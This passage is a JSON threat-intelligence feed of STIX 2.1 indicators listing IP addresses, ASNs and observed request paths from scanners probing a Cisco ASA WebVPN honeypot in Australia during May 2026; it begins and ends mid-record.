            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-10T05:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--d02dd7b6-8ff8-47d0-8165-f8ddde9ccd73",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '37.19.200.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T05:20:10.000Z",
      "valid_until": "2026-06-11T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-10T04:21:15.447Z",
          "last_seen": "2026-05-30T12:27:53.540Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-10T06:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--367b5c73-2393-499a-95de-522ca250e2fc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '103.81.231.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T06:20:10.000Z",
      "valid_until": "2026-06-11T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-10T05:42:30.744Z",
          "last_seen": "2026-05-25T09:13:46.410Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-10T06:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 136557 (Host Universal Pty Ltd)",
      "id": "indicator--679ee5c0-7c3c-459b-b01f-b91a1dd6d346",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '155.2.191.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T06:20:10.000Z",
      "valid_until": "2026-06-11T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 24,
          "first_seen": "2026-05-10T06:00:44.794Z",
          "last_seen": "2026-05-29T22:07:57.316Z",
          "country": "United States",
          "country_code": "US",
          "asn": 136557,
          "as_org": "Host Universal Pty Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-10T06:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: POST /+webvpn+/index.html HTTP/1.1\" 200 - geo: NL; ASN 202412 (Omegatech LTD)",
      "id": "indicator--405c7b66-925b-443f-8510-66d4fb7b6aa9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '91.92.241.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T06:20:10.000Z",
      "valid_until": "2026-06-11T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 90,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1992,
          "first_seen": "2026-05-10T06:17:27.567Z",
          "last_seen": "2026-05-26T20:17:25.137Z",
          "country": "The Netherlands",
          "country_code": "NL",
          "asn": 202412,
          "as_org": "Omegatech LTD",
          "event_types": [
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-10T07:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--d4b3d7c3-2aa5-4d1c-9b99-7c4e4042bae1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '104.36.50.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T07:20:10.000Z",
      "valid_until": "2026-06-11T07:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-03T16:07:09.307Z",
          "last_seen": "2026-05-10T07:23:32.955Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-10T08:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--16f8f344-a1d6-4bd6-ab58-07732ac4613f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '103.81.231.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T08:20:10.000Z",
      "valid_until": "2026-06-11T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-10T07:36:53.792Z",
          "last_seen": "2026-05-27T18:49:26.997Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-10T08:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--c56c651d-fbc7-4369-8be5-c5a178a74944",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '184.105.247.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T08:20:10.000Z",
      "valid_until": "2026-06-11T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-10T07:58:23.509Z",
          "last_seen": "2026-05-10T07:58:23.509Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-10T08:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 21859 (Zenlayer Inc)",
      "id": "indicator--5e18fc0d-6ffe-4af3-bf8d-1d69883596b3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.213.193.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T08:20:10.000Z",
      "valid_until": "2026-06-11T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-10T07:33:04.441Z",
          "last_seen": "2026-05-17T05:58:07.243Z",
          "country": "United States",
          "country_code": "US",
          "asn": 21859,
          "as_org": "Zenlayer Inc",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-10T08:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--b77e2e57-cb35-4aac-a95b-2a979dbbd972",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.70.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T08:20:10.000Z",
      "valid_until": "2026-06-11T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-10T07:21:29.141Z",
          "last_seen": "2026-05-10T07:21:37.741Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-10T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--ab896c6d-2ae6-4bce-ba5b-59b6a6559c3b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '173.249.252.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T09:20:10.000Z",
      "valid_until": "2026-06-11T09:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 36,
          "first_seen": "2026-05-10T08:30:17.398Z",
          "last_seen": "2026-05-30T10:10:18.800Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-10T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: SE; ASN 39351 (31173 Services AB)",
      "id": "indicator--dae45ed1-ae69-4bbb-98cb-72a87b9743d4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '193.138.218.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T09:20:10.000Z",
      "valid_until": "2026-06-11T09:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 73,
          "first_seen": "2026-05-10T09:00:35.742Z",
          "last_seen": "2026-05-31T04:28:00.133Z",
          "country": "Sweden",
          "country_code": "SE",
          "asn": 39351,
          "as_org": "31173 Services AB",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-10T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 399935 (Hayashimo LLC)",
      "id": "indicator--78b1c0b6-a888-4747-9364-90c29fde0aa0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.168.216.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T09:20:10.000Z",
      "valid_until": "2026-06-11T09:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-10T09:15:59.693Z",
          "last_seen": "2026-05-26T02:58:38.237Z",
          "country": "United States",
          "country_code": "US",
          "asn": 399935,
          "as_org": "Hayashimo LLC",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-10T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--f0d16ea3-6480-4a03-8a64-ed05333e81d9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.107.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T09:20:10.000Z",
      "valid_until": "2026-06-11T09:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-10T08:52:20.700Z",
          "last_seen": "2026-05-14T08:53:42.618Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-10T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 398324 (Censys, Inc.)",
      "id": "indicator--35466c43-5ed7-4c06-861b-8ba998dcad78",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.186.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T09:20:10.000Z",
      "valid_until": "2026-06-11T09:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-10T08:25:11.510Z",
          "last_seen": "2026-05-10T08:25:36.352Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398324,
          "as_org": "Censys, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /version HTTP/1.1\" 404 -",
            "\"PRI * HTTP/2.0\" 505 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "code 505"
          ]
        }
      }
    },
    {
      "created": "2026-05-10T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 136557 (Host Universal Pty Ltd)",
      "id": "indicator--5f89da4d-fab9-4269-b661-3a283c2de3fc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '155.2.191.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T10:20:10.000Z",
      "valid_until": "2026-06-11T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-10T09:57:38.321Z",
          "last_seen": "2026-05-10T09:57:44.705Z",
          "country": "United States",
          "country_code": "US",
          "asn": 136557,
          "as_org": "Host Universal Pty Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-10T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--5402a04d-f8e2-4963-944b-693ea2c699d1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.74.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T10:20:10.000Z",
      "valid_until": "2026-06-11T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 25,
          "first_seen": "2026-05-05T06:32:07.690Z",
          "last_seen": "2026-05-30T13:48:38.803Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-10T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--24b02583-709c-4a34-b36d-198c72ab8596",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '103.81.231.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T11:20:10.000Z",
      "valid_until": "2026-06-11T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-10T10:57:26.610Z",
          "last_seen": "2026-05-26T02:19:50.712Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-10T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--5aeef695-eac0-405e-91a5-d4948366f47d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.105.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T11:20:10.000Z",
      "valid_until": "2026-06-11T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 24,
          "first_seen": "2026-05-10T11:10:54.912Z",
          "last_seen": "2026-05-29T18:12:07.708Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-10T12:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--a031bcbb-869d-4da3-8846-2d29f1ee4e87",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '195.184.76.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T12:20:05.000Z",
      "valid_until": "2026-06-11T12:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-10T11:46:10.830Z",
          "last_seen": "2026-05-10T11:46:10.830Z",
          "country": "United States",
          "country_code": "US",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-10T12:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--7b658355-6d92-4ec3-80d5-273f72381969",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '195.184.76.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T12:20:05.000Z",
      "valid_until": "2026-06-11T12:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-10T11:46:12.191Z",
          "last_seen": "2026-05-10T11:46:12.191Z",
          "country": "United States",
          "country_code": "US",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-10T12:20:05.000Z",
